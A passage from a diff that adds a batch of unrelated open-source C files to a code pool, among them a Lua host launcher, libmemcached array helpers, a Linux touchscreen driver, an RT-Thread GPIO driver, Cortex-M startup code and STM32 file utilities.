LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER + * DEALINGS IN THE SOFTWARE. + *************************************/ + + +#include + +#include +#include +#include + +#include "lapi/lapi.h" + + +// Function for getting error stack trace +static int errmsgh(lua_State *L) +{ + // Only get traceback if message is a string + if (!lua_isstring(L, 1)) + return 1; + // Get stack trace for L + luaL_traceback(L, L, lua_tostring(L, -1), 1); + return 1; +} + + +int main(int argc, char **argv) +{ + lua_State *L = luaL_newstate(); + luaL_openlibs(L); + lapi_load(L); + + // Lua error message parser + lua_pushcfunction(L, errmsgh); + + // Load main lua script + if (luaL_loadfile(L, "lua/main.lua")) { + printf("%s: %s\n", argv[0], lua_tostring(L, -1)); + lua_close(L); + return 1; + } + // Evaluate main.lua to get program lifecycle function + if (lua_pcall(L, 0, 1, -2)) { + printf("%s\n", lua_tostring(L, -1)); + lua_close(L); + return 1; + } + + // Start program lifecycle + // Load argv as initial args + for (int i = 0; i < argc; i += 1) { + lua_pushstring(L, argv[i]); + } + // Call lifecycle handler (which was returned by main.lua) + if (lua_pcall(L, argc, 0, -(argc + 2))) { + printf("%s\n", lua_tostring(L, -1)); + lua_close(L); + return 1; + } + + lua_close(L); + return 0; +} diff --git a/pool/shard011/C/0142343_arquivo.c b/pool/shard011/C/0142343_arquivo.c new file mode 100644 index 0000000000000000000000000000000000000000..a9d666a8fafc1a7b98ac2f9edf1e35334a4c8da4 --- /dev/null +++ b/pool/shard011/C/0142343_arquivo.c @@ -0,0 +1,31 @@ +#include +#include +#include "liane-util.h" + +/************************************************************************ + * * + * trata_crlf * + * * + ************************************************************************/ + +void trata_crlf (char *linha) +{ + char *ultimo_ch; + + ultimo_ch = linha + strlen (linha) - 1; + *ultimo_ch-- = '\0'; // newline + if (*ultimo_ch == '\r') *ultimo_ch = '\0'; + str_strip (linha); +} + +/************************************************************************ + * * + * eh_comentario * + * * + ************************************************************************/ + +bool eh_comentario (char *linha) +{ + return (*linha == '\0') || (*linha == ';'); +} + diff --git a/pool/shard011/C/0142344_array.c b/pool/shard011/C/0142344_array.c new file mode 100644 index 0000000000000000000000000000000000000000..cd472c3923e8ccd0973f51017638579279afab60 --- /dev/null +++ b/pool/shard011/C/0142344_array.c @@ -0,0 +1,128 @@ +/* vim:expandtab:shiftwidth=2:tabstop=2:smarttab: + * + * LibMemcached + * + * Copyright (C) 2011 Data Differential, http://datadifferential.com/ + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are + * met: + * + * * Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * * Redistributions in binary form must reproduce the above + * copyright notice, this list of conditions and the following disclaimer + * in the documentation and/or other materials provided with the + * distribution. + * + * * The names of its contributors may not be used to endorse or + * promote products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#include +#include +#include + +struct memcached_array_st +{ + Memcached *root; + size_t size; + char c_str[]; +}; + + +memcached_array_st *memcached_array_clone(Memcached *memc, const memcached_array_st *original) +{ + if (original) + { + return memcached_strcpy(memc, original->c_str, original->size); + } + + return NULL; +} + +memcached_array_st *memcached_strcpy(Memcached *memc, const char *str, size_t str_length) +{ + assert(memc); + assert(str); + assert(str_length); + + memcached_array_st *array= (struct memcached_array_st *)libmemcached_malloc(memc, sizeof(struct memcached_array_st) +str_length +1); + + if (array) + { + array->root= memc; + array->size= str_length; // We don't count the NULL ending + memcpy(array->c_str, str, str_length); + array->c_str[str_length]= 0; + } + + return array; +} + +bool memcached_array_is_null(memcached_array_st *array) +{ + if (array) + { + return false; + } + + return true; +} + +memcached_string_t memcached_array_to_string(memcached_array_st *array) +{ + assert(array); + assert(array->c_str); + assert(array->size); + memcached_string_t tmp; + tmp.c_str= array->c_str; + tmp.size= array->size; + + return tmp; +} + +void memcached_array_free(memcached_array_st *array) +{ + if (array) + { + WATCHPOINT_ASSERT(array->root); + libmemcached_free(array->root, array); + } +} + +size_t memcached_array_size(memcached_array_st *array) +{ + if (array) + { + return array->size; + } + + return 0; +} + +const char *memcached_array_string(memcached_array_st *array) +{ + if (array) + { + return array->c_str; + } + + return NULL; +} diff --git a/pool/shard011/C/0142345_gunze.c b/pool/shard011/C/0142345_gunze.c new file mode 100644 index 0000000000000000000000000000000000000000..1223fea4196fccb3287c4010497e8b819ef0c2bb --- /dev/null +++ b/pool/shard011/C/0142345_gunze.c @@ -0,0 +1,204 @@ +/* + * Copyright (c) 2000-2001 Vojtech Pavlik + */ + +/* + * Gunze AHL-51S touchscreen driver for Linux + */ + +/* + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * Should you need to contact me, the author, you can do so either by + * e-mail - mail your message to , or by paper mail: + * Vojtech Pavlik, Simunkova 1594, Prague 8, 182 00 Czech Republic + */ + +#include +#include +#include +#include +#include +#include +#include + +#define DRIVER_DESC "Gunze AHL-51S touchscreen driver" + +MODULE_AUTHOR("Vojtech Pavlik "); +MODULE_DESCRIPTION(DRIVER_DESC); +MODULE_LICENSE("GPL"); + +/* + * Definitions & global arrays. + */ + +#define GUNZE_MAX_LENGTH 10 + +/* + * Per-touchscreen data. + */ + +struct gunze { + struct input_dev *dev; + struct serio *serio; + int idx; + unsigned char data[GUNZE_MAX_LENGTH]; + char phys[32]; +}; + +static void gunze_process_packet(struct gunze* gunze) +{ + struct input_dev *dev = gunze->dev; + + if (gunze->idx != GUNZE_MAX_LENGTH || gunze->data[5] != ',' || + (gunze->data[0] != 'T' && gunze->data[0] != 'R')) { + printk(KERN_WARNING "gunze.c: bad packet: >%.*s<\n", GUNZE_MAX_LENGTH, gunze->data); + return; + } + + input_report_abs(dev, ABS_X, simple_strtoul(gunze->data + 1, NULL, 10)); + input_report_abs(dev, ABS_Y, 1024 - simple_strtoul(gunze->data + 6, NULL, 10)); + input_report_key(dev, BTN_TOUCH, gunze->data[0] == 'T'); + input_sync(dev); +} + +static irqreturn_t gunze_interrupt(struct serio *serio, + unsigned char data, unsigned int flags) +{ + struct gunze* gunze = serio_get_drvdata(serio); + + if (data == '\r') { + gunze_process_packet(gunze); + gunze->idx = 0; + } else { + if (gunze->idx < GUNZE_MAX_LENGTH) + gunze->data[gunze->idx++] = data; + } + return IRQ_HANDLED; +} + +/* + * gunze_disconnect() is the opposite of gunze_connect() + */ + +static void gunze_disconnect(struct serio *serio) +{ + struct gunze *gunze = serio_get_drvdata(serio); + + input_get_device(gunze->dev); + input_unregister_device(gunze->dev); + serio_close(serio); + serio_set_drvdata(serio, NULL); + input_put_device(gunze->dev); + kfree(gunze); +} + +/* + * gunze_connect() is the routine that is called when someone adds a + * new serio device that supports Gunze protocol and registers it as + * an input device. + */ + +static int gunze_connect(struct serio *serio, struct serio_driver *drv) +{ + struct gunze *gunze; + struct input_dev *input_dev; + int err; + + gunze = kzalloc(sizeof(struct gunze), GFP_KERNEL); + input_dev = input_allocate_device(); + if (!gunze || !input_dev) { + err = -ENOMEM; + goto fail1; + } + + gunze->serio = serio; + gunze->dev = input_dev; + snprintf(gunze->phys, sizeof(serio->phys), "%s/input0", serio->phys); + + input_dev->name = "Gunze AHL-51S TouchScreen"; + input_dev->phys = gunze->phys; + input_dev->id.bustype = BUS_RS232; + input_dev->id.vendor = SERIO_GUNZE; + input_dev->id.product = 0x0051; + input_dev->id.version = 0x0100; + input_dev->dev.parent = &serio->dev; + input_dev->evbit[0] = BIT_MASK(EV_KEY) | BIT_MASK(EV_ABS); + input_dev->keybit[BIT_WORD(BTN_TOUCH)] = BIT_MASK(BTN_TOUCH); + input_set_abs_params(input_dev, ABS_X, 24, 1000, 0, 0); + input_set_abs_params(input_dev, ABS_Y, 24, 1000, 0, 0); + + serio_set_drvdata(serio, gunze); + + err = serio_open(serio, drv); + if (err) + goto fail2; + + err = input_register_device(gunze->dev); + if (err) + goto fail3; + + return 0; + + fail3: serio_close(serio); + fail2: serio_set_drvdata(serio, NULL); + fail1: input_free_device(input_dev); + kfree(gunze); + return err; +} + +/* + * The serio driver structure. + */ + +static struct serio_device_id gunze_serio_ids[] = { + { + .type = SERIO_RS232, + .proto = SERIO_GUNZE, + .id = SERIO_ANY, + .extra = SERIO_ANY, + }, + { 0 } +}; + +MODULE_DEVICE_TABLE(serio, gunze_serio_ids); + +static struct serio_driver gunze_drv = { + .driver = { + .name = "gunze", + }, + .description = DRIVER_DESC, + .id_table = gunze_serio_ids, + .interrupt = gunze_interrupt, + .connect = gunze_connect, + .disconnect = gunze_disconnect, +}; + +/* + * The functions for inserting/removing us as a module. + */ + +static int __init gunze_init(void) +{ + return serio_register_driver(&gunze_drv); +} + +static void __exit gunze_exit(void) +{ + serio_unregister_driver(&gunze_drv); +} + +module_init(gunze_init); +module_exit(gunze_exit); diff --git a/pool/shard011/C/0142346_drv_gpio.c b/pool/shard011/C/0142346_drv_gpio.c new file mode 100644 index 0000000000000000000000000000000000000000..6ecf7630cb2b2d8790c45a85249d48a6fc88d83b --- /dev/null +++ b/pool/shard011/C/0142346_drv_gpio.c @@ -0,0 +1,85 @@ +/* + * Copyright (c) 2006-2018, RT-Thread Development Team + * + * SPDX-License-Identifier: Apache-2.0 + * + * Change Logs: + * Date Author Notes + * 2020-11-27 WangHuachen the first version + */ + +#include +#include +#include "drv_gpio.h" +#include "xgpiops.h" + +#define DBG_TAG "drv.gpio" +#define DBG_LVL DBG_INFO +#include "rtdbg.h" + +#define GPIO_DEVICE_ID XPAR_XGPIOPS_0_DEVICE_ID +static XGpioPs Gpio; /* The driver instance for GPIO Device. */ + +void xgpiops_pin_mode(rt_device_t dev, rt_base_t pin, rt_base_t mode) +{ + switch (mode) + { + case PIN_MODE_OUTPUT: + case PIN_MODE_OUTPUT_OD: + XGpioPs_SetDirectionPin(&Gpio, pin, 1); + XGpioPs_SetOutputEnablePin(&Gpio, pin, 1); + break; + case PIN_MODE_INPUT: + case PIN_MODE_INPUT_PULLUP: + case PIN_MODE_INPUT_PULLDOWN: + XGpioPs_SetDirectionPin(&Gpio, pin, 0); + break; + default: + break; + } +} + +void xgpiops_pin_write(rt_device_t dev, rt_base_t pin, rt_base_t value) +{ + if (pin >= Gpio.MaxPinNum) + return; + + XGpioPs_WritePin(&Gpio, pin, (value == PIN_HIGH)?1:0); +} + +int xgpiops_pin_read(rt_device_t dev, rt_base_t pin) +{ + if (pin >= Gpio.MaxPinNum) + return 0; + + int DataRead = XGpioPs_ReadPin(&Gpio, pin); + return DataRead?PIN_HIGH:PIN_LOW; +} + +const static struct rt_pin_ops _xgpiops_pin_ops = + { + xgpiops_pin_mode, + xgpiops_pin_write, + xgpiops_pin_read, + RT_NULL, + RT_NULL, + RT_NULL, + RT_NULL, +}; + +int rt_hw_pin_init(void) +{ + int result; + XGpioPs_Config *ConfigPtr; + /* Initialize the GPIO driver. */ + ConfigPtr = XGpioPs_LookupConfig(GPIO_DEVICE_ID); + + if (XGpioPs_CfgInitialize(&Gpio, ConfigPtr, + ConfigPtr->BaseAddr) == XST_SUCCESS) + { + result = rt_device_pin_register("pin", &_xgpiops_pin_ops, RT_NULL); + return result; + } + return -RT_ERROR; +} +INIT_BOARD_EXPORT(rt_hw_pin_init); diff --git a/pool/shard011/C/0142347_configs.c b/pool/shard011/C/0142347_configs.c new file mode 100644 index 0000000000000000000000000000000000000000..07f4dc68b83f2a19e95ecd5805aff1b2e99b8e9e --- /dev/null +++ b/pool/shard011/C/0142347_configs.c @@ -0,0 +1,179 @@ +/* +* Copyright 2015-2021 Chad Voegele. +* See LICENSE file for license details. +*/ + +#include +#include +#include + +#include "configs.h" +#include "base_monitor.h" + +#include "clock_monitor.h" +#include "thinkpad_temp_monitor.h" +#include "thinkpad_fan_monitor.h" +#include "battery_monitor.h" +#include "memory_monitor.h" +#include "net_monitor.h" +#include "dropbox_monitor.h" +#include "sp500_monitor.h" +#include "weather_monitor.h" +#include "volume_monitor.h" +#include "nginx_monitor.h" +#include "cpu_usage_monitor.h" +#include "users_monitor.h" +#include "text_monitor.h" +#include "sys_file_monitor.h" +#include "syncthing_monitor.h" + +error_t parse_opt(int key, char *arg, struct argp_state *state) { + char** config_file_ptr = (char**)state->input; + switch (key) { + case 'c': *config_file_ptr = arg; break; + default: return ARGP_ERR_UNKNOWN; + } + return 0; +} + +void parse_arguments(int argc, char** argv, char** config_file) { + static char doc[] = ""; + static char args_doc[] = ""; + struct argp_option options[] = { + {"config", 'c', "status_bar.conf", 0, "location of config file" }, + {0}, + }; + struct argp argp = { options, parse_opt, args_doc, doc }; + argp_parse(&argp, argc, argv, 0, 0, config_file); +} + +void load_configs(GKeyFile* configs, int argc, char** argv) { + GString* config_path = g_string_new(NULL); + + char* config_file_arg = NULL; + char* path = NULL; + char* home = NULL; + parse_arguments(argc, argv, &config_file_arg); + if (config_file_arg != NULL) { + g_string_printf(config_path, "%s", config_file_arg); + } else if ((path = getenv("XDG_CONFIG_HOME")) != NULL) { + g_string_printf(config_path, "%s/status_bar.conf", path); + } else if ((home = getenv("HOME")) != NULL) { + g_string_printf(config_path, "%s/.config/status_bar.conf", home); + } else { + fprintf(stderr, "Either --config, XDG_CONFIG_HOME, or HOME must defined for config file.\n"); + exit(EXIT_FAILURE); + } + + GError* error = NULL; + if (!g_key_file_load_from_file(configs, config_path->str, G_KEY_FILE_NONE, &error)) { + fprintf(stderr, "%s: %s\n", error->message, config_path->str); + g_error_free(error); + } + + g_string_free(config_path, TRUE); +} + +void fail_on_error(GError* error) { + if (error != NULL) { + fprintf(stderr, "%s\n", error->message); + g_error_free(error); + exit(EXIT_FAILURE); + } +} + +void build_display_cmd_str(GKeyFile* configs, GString* str) { + GError* error = NULL; + char* pipeto = g_key_file_get_string(configs, "configs", "pipeto", &error); + fail_on_error(error); + + str = g_string_truncate(str, 0); + g_string_append_printf(str, "%s", pipeto); + + g_free(pipeto); +} + +void parse_monitor_config(char* str, GString* monitor, GArray* arguments) { + GScanner* scanner = g_scanner_new(NULL); + g_scanner_input_text(scanner, str, strlen(str)); + while (g_scanner_get_next_token(scanner) != G_TOKEN_EOF) { + GTokenType type = g_scanner_cur_token(scanner); + if (type == G_TOKEN_IDENTIFIER) { + g_string_assign(monitor, g_scanner_cur_value(scanner).v_identifier); + } + if (type == G_TOKEN_STRING) { + GString* arg = g_string_new_len(NULL, 100); + g_string_assign(arg, g_scanner_cur_value(scanner).v_string); + g_array_append_val(arguments, arg); + } + } + g_scanner_destroy(scanner); +} + +void init_monitors(GKeyFile* configs, gsize* length, void*** monitors) { + char** monitor_configs; + GError* error = NULL; + monitor_configs = g_key_file_get_string_list(configs, "configs", "monitors", length, &error); + fail_on_error(error); + + *monitors = malloc((*length)*sizeof(void*)); + + GString* monitor = g_string_new_len(NULL, 100); + GArray* arguments = g_array_new(FALSE, FALSE, sizeof(GString*)); + + for (int i = 0; i < *length; i++) { + parse_monitor_config(monitor_configs[i], monitor, arguments); + + void* m = convert_string_to_monitor(monitor->str, arguments); + (*monitors)[i] = m; + + for (size_t i = 0; i < arguments->len; i++) { + g_string_free(g_array_index(arguments, GString*, i), TRUE); + } + g_array_set_size(arguments, 0); + } + + g_string_free(monitor, TRUE); + g_array_free(arguments, TRUE); + + g_strfreev(monitor_configs); +} + +void* convert_string_to_monitor(char* str, GArray* arguments) { + if (strcmp("net", str) == 0) { + return net_init(arguments); + } else if (strcmp("clock", str) == 0) { + return clock_init(arguments); + } else if (strcmp("dropbox", str) == 0) { + return dropbox_init(arguments); + } else if (strcmp("memory", str) == 0) { + return memory_init(arguments); + } else if (strcmp("sp500", str) == 0) { + return sp500_init(arguments); + } else if (strcmp("battery", str) == 0) { + return battery_init(arguments); + } else if (strcmp("thinkpad_fan", str) == 0) { + return thinkpad_fan_init(arguments); + } else if (strcmp("thinkpad_temp", str) == 0) { + return thinkpad_temp_init(arguments); + } else if (strcmp("weather", str) == 0) { + return weather_init(arguments); + } else if (strcmp("volume", str) == 0) { + return volume_init(arguments); + } else if (strcmp("nginx", str) == 0) { + return nginx_init(arguments); + } else if (strcmp("cpu_usage", str) == 0) { + return cpu_usage_init(arguments); + } else if (strcmp("users", str) == 0) { + return users_init(arguments); + } else if (strcmp("text", str) == 0) { + return text_init(arguments); + } else if (strcmp("sys_file", str) == 0) { + return sys_file_init(arguments); + } else if (strcmp("syncthing", str) == 0) { + return syncthing_init(arguments); + } else { + fprintf(stderr, "Monitor %s not found.\n", str); + exit(EXIT_FAILURE); + } +} diff --git a/pool/shard011/C/0142348_startup.c b/pool/shard011/C/0142348_startup.c new file mode 100644 index 0000000000000000000000000000000000000000..5978304e77e49f95ae79a881bf6112a9777b7447 --- /dev/null +++ b/pool/shard011/C/0142348_startup.c @@ -0,0 +1,144 @@ +/** + ****************************************************************************** + * @addtogroup PIOS PIOS Core hardware abstraction layer + * @{ + * + * @file startup.c + * @author The OpenPilot Team, http://www.openpilot.org Copyright (C) 2012. + * @author Tau Labs, http://taulabs.org, Copyright (C) 2012-2013 + * @brief C based startup of F3 + * @see The GNU Public License (GPL) Version 3 + * + *****************************************************************************/ +/* + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY + * or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License + * for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + + +#include +#include + +/* prototype for main() that tells us not to worry about it possibly returning */ +extern int main(void) __attribute__((noreturn)); + +/* prototype our _main() to avoid prolog/epilog insertion and other related junk */ +void _main(void) __attribute__((noreturn, naked, no_instrument_function)); + +/** default handler for CPU exceptions */ +static void default_cpu_handler(void) __attribute__((noreturn, naked, no_instrument_function)); + +/** BSS symbols XXX should have a header that defines all of these */ +extern char _sbss, _ebss; + +/** DATA symbols XXX should have a header that defines all of these */ +extern char _sidata, _sdata, _edata, _sfast, _efast; + +/** The bootstrap/IRQ stack XXX should define size somewhere else */ +char irq_stack[1024] __attribute__((section(".irqstack"))); + +/** exception handler */ +typedef const void (vector)(void); + +/** CortexM3 CPU vectors */ +struct cm3_vectors { + void *initial_stack; + vector *entry; + vector *vectors[14]; +}; + +/** + * Initial startup code. + */ +void +_main(void) +{ + // load the stack base for the current stack before we attempt to branch to any function + // that might bounds-check the stack + asm volatile ("mov r10, %0" : : "r" (&irq_stack[0]) : ); + + /* enable usage, bus and memory faults */ + SCB->SHCSR |= SCB_SHCSR_USGFAULTENA_Msk | SCB_SHCSR_BUSFAULTENA_Msk | SCB_SHCSR_MEMFAULTENA_Msk; + + /* configure FP state save behaviour - automatic, lazy save */ + FPU->FPCCR |= FPU_FPCCR_ASPEN_Msk | FPU_FPCCR_LSPEN_Msk; + + /* configure default FPU state */ + FPU->FPDSCR |= FPU_FPDSCR_DN_Msk; /* enable Default NaN */ + + /* enable the FPU */ + SCB->CPACR |= (0xf << 20); // turn on CP10/11 for FP support on cores that implement it + + /* copy initialised data from flash to RAM */ + memcpy(&_sdata, &_sidata, &_edata - &_sdata); + + /* zero the BSS */ + memset(&_sbss, 0, &_ebss - &_sbss); + + /* zero any 'fast' RAM that's been used */ + memset(&_sfast, 0, &_efast - &_sfast); + + /* fill most of the IRQ/bootstrap stack with a watermark pattern so we can measure how much is used */ + /* leave a little space at the top in case memset() isn't a leaf with no locals */ + memset(&irq_stack, 0xa5, sizeof(irq_stack) - 64); + + /* call main */ + (void)main(); +} + +/** + * Default handler for CPU exceptions. + */ +static void +default_cpu_handler(void) +{ + for (;;) ; +} + +/** Prototype for optional exception vector handlers */ +#define HANDLER(_name) extern vector _name __attribute__((weak, alias("default_cpu_handler"))) + +/* standard CMSIS vector names */ +HANDLER(NMI_Handler); +HANDLER(HardFault_Handler); +HANDLER(MemManage_Handler); +HANDLER(BusFault_Handler); +HANDLER(UsageFault_Handler); +HANDLER(DebugMon_Handler); + +/** CortexM3 vector table */ +struct cm3_vectors cpu_vectors __attribute((section(".cpu_vectors"))) = { + .initial_stack = &irq_stack[sizeof(irq_stack)], + .entry = (vector *)_main, + .vectors = { + NMI_Handler, + HardFault_Handler, + MemManage_Handler, + BusFault_Handler, + UsageFault_Handler, + 0, + 0, + 0, + 0, + 0, + DebugMon_Handler, + 0, + 0, + 0, + } +}; + +/** + * @} + */ \ No newline at end of file diff --git a/pool/shard011/C/0142349_ServerException.c b/pool/shard011/C/0142349_ServerException.c new file mode 100644 index 0000000000000000000000000000000000000000..bbad43d445a974670491f8b002969635d6df38c0 --- /dev/null +++ b/pool/shard011/C/0142349_ServerException.c @@ -0,0 +1,53 @@ +/* + * Copyright 2018 MongoDB, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#ifdef HAVE_CONFIG_H +#include "config.h" +#endif + +#include + +#include "phongo_compat.h" +#include "php_phongo.h" + +zend_class_entry* php_phongo_serverexception_ce; + +/* {{{ MongoDB\Driver\Exception\ServerException function entries */ +static zend_function_entry php_phongo_serverexception_me[] = { + PHP_FE_END +}; +/* }}} */ + +void php_phongo_serverexception_init_ce(INIT_FUNC_ARGS) /* {{{ */ +{ + zend_class_entry ce; + + INIT_NS_CLASS_ENTRY(ce, "MongoDB\\Driver\\Exception", "ServerException", php_phongo_serverexception_me); +#if PHP_VERSION_ID >= 70000 + php_phongo_serverexception_ce = zend_register_internal_class_ex(&ce, php_phongo_runtimeexception_ce); +#else + php_phongo_serverexception_ce = zend_register_internal_class_ex(&ce, php_phongo_runtimeexception_ce, NULL TSRMLS_CC); +#endif +} /* }}} */ + +/* + * Local variables: + * tab-width: 4 + * c-basic-offset: 4 + * End: + * vim600: noet sw=4 ts=4 fdm=marker + * vim<600: noet sw=4 ts=4 + */ diff --git a/pool/shard011/C/0142350_filebrowser_app.c b/pool/shard011/C/0142350_filebrowser_app.c new file mode 100644 index 0000000000000000000000000000000000000000..be43d1529d55f2575016d7112e2a8b7721f7575d --- /dev/null +++ b/pool/shard011/C/0142350_filebrowser_app.c @@ -0,0 +1,191 @@ +/** + ****************************************************************************** + * @file filebrowser_app.c + * @author MCD Application Team + * @version V1.4.7 + * @date 17-February-2017 + * @brief Utilities for file handling + ****************************************************************************** + * @attention + * + *

© Copyright (c) 2017 STMicroelectronics International N.V. + * All rights reserved.

+ * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted, provided that the following conditions are met: + * + * 1. Redistribution of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * 3. Neither the name of STMicroelectronics nor the names of other + * contributors to this software may be used to endorse or promote products + * derived from this software without specific written permission. + * 4. This software, including modifications and/or derivative works of this + * software, must execute solely and exclusively on microcontroller or + * microprocessor devices manufactured by or for STMicroelectronics. + * 5. Redistribution and use of this software other than as permitted under + * this license is void and will automatically terminate your rights under + * this license. + * + * THIS SOFTWARE IS PROVIDED BY STMICROELECTRONICS AND CONTRIBUTORS "AS IS" + * AND ANY EXPRESS, IMPLIED OR STATUTORY WARRANTIES, INCLUDING, BUT NOT + * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A + * PARTICULAR PURPOSE AND NON-INFRINGEMENT OF THIRD PARTY INTELLECTUAL PROPERTY + * RIGHTS ARE DISCLAIMED TO THE FULLEST EXTENT PERMITTED BY LAW. IN NO EVENT + * SHALL STMICROELECTRONICS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, + * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, + * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + ****************************************************************************** + */ +/* Includes ------------------------------------------------------------------*/ +#include "filebrowser_app.h" +#include + +/** @addtogroup FILE_BROWSER_MODULE + * @{ + */ + +/** @defgroup FILE_BROWSER + * @brief file browser routines + * @{ + */ + +/* Private typedef -----------------------------------------------------------*/ +/* Private define ------------------------------------------------------------*/ +/* Private macro -------------------------------------------------------------*/ +/* Private function prototypes -----------------------------------------------*/ +/* Private variables ---------------------------------------------------------*/ +/* Private functions ---------------------------------------------------------*/ + +/** + * @brief Copy disk content in the explorer list + * @param path: pointer to root path + * @param list: pointer to file list + * @retval Status + */ +uint8_t FILEMGR_ParseDisks (char *path, FILELIST_FileTypeDef *list) +{ + FRESULT res; + FILINFO fno; + DIR dir; + char *fn; + +#if _USE_LFN + static char lfn[_MAX_LFN]; + fno.lfname = lfn; + fno.lfsize = sizeof(lfn); +#endif + + res = f_opendir(&dir, path); + list->ptr = 0; + + if (res == FR_OK) + { + + while (1) + { + res = f_readdir(&dir, &fno); + + if (res != FR_OK || fno.fname[0] == 0) + { + break; + } + if (fno.fname[0] == '.') + { + continue; + } +#if _USE_LFN + fn = *fno.lfname ? fno.lfname : fno.fname; +#else + fn = fno.fname; +#endif + + if (list->ptr < FILEMGR_LIST_DEPDTH) + { + if ((fno.fattrib & AM_DIR) == AM_DIR) + { + strncpy((char *)list->file[list->ptr].name, (char *)fn, FILEMGR_FILE_NAME_SIZE); + list->file[list->ptr].type = FILETYPE_DIR; + list->ptr++; + } + else + { + strncpy((char *)list->file[list->ptr].name, (char *)fn, FILEMGR_FILE_NAME_SIZE); + list->file[list->ptr].type = FILETYPE_FILE; + list->ptr++; + } + } + } + } + f_closedir(&dir); + return res; +} + +/** + * @brief Retrieve the parent directory from full file path + * @param dir: pointer to parent directory + * @retval None +*/ +void FILEMGR_GetParentDir (char *dir) +{ + uint16_t idx = FILEMGR_FULL_PATH_SIZE; + + for ( ; idx > 0; idx --) + { + + if (dir [idx] == '/') + { + dir [idx + 1] = 0; + break; + } + dir [idx + 1] = 0; + } +} + + +/** + * @brief Retrieve the file name from a full file path + * @param file: pointer to base path + * @param path: pointer to full path + * @retval None +*/ +void FILEMGR_GetFileOnly (char *file, char *path) +{ + char *baseName1, *baseName2; + baseName1 = strrchr(path,'/'); + baseName2 = strrchr(path,':'); + + if(baseName1++) + { + strcpy(file, baseName1); + } + else + { + if (baseName2++) + { + + strcpy(file, baseName2); + } + else + { + strcpy(file, path); + } + } +} + +/** +* @} +*/ + +/** +* @} +*/ + +/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/pool/shard011/C/0142351_rtc-mc146818-lib.c b/pool/shard011/C/0142351_rtc-mc146818-lib.c new file mode 100644 index 0000000000000000000000000000000000000000..2f1772a358ca50342d4375de3e69f2fba451ceaf --- /dev/null +++ b/pool/shard011/C/0142351_rtc-mc146818-lib.c @@ -0,0 +1,198 @@ +#include +#include +#include +#include + +#ifdef CONFIG_ACPI +#include +#endif + +/* + * Returns true if a clock update is in progress + */ +static inline unsigned char mc146818_is_updating(void) +{ + unsigned char uip; + unsigned long flags; + + spin_lock_irqsave(&rtc_lock, flags); + uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP); + spin_unlock_irqrestore(&rtc_lock, flags); + return uip; +} + +unsigned int mc146818_get_time(struct rtc_time *time) +{ + unsigned char ctrl; + unsigned long flags; + unsigned char century = 0; + +#ifdef CONFIG_MACH_DECSTATION + unsigned int real_year; +#endif + + /* + * read RTC once any update in progress is done. The update + * can take just over 2ms. We wait 20ms. There is no need to + * to poll-wait 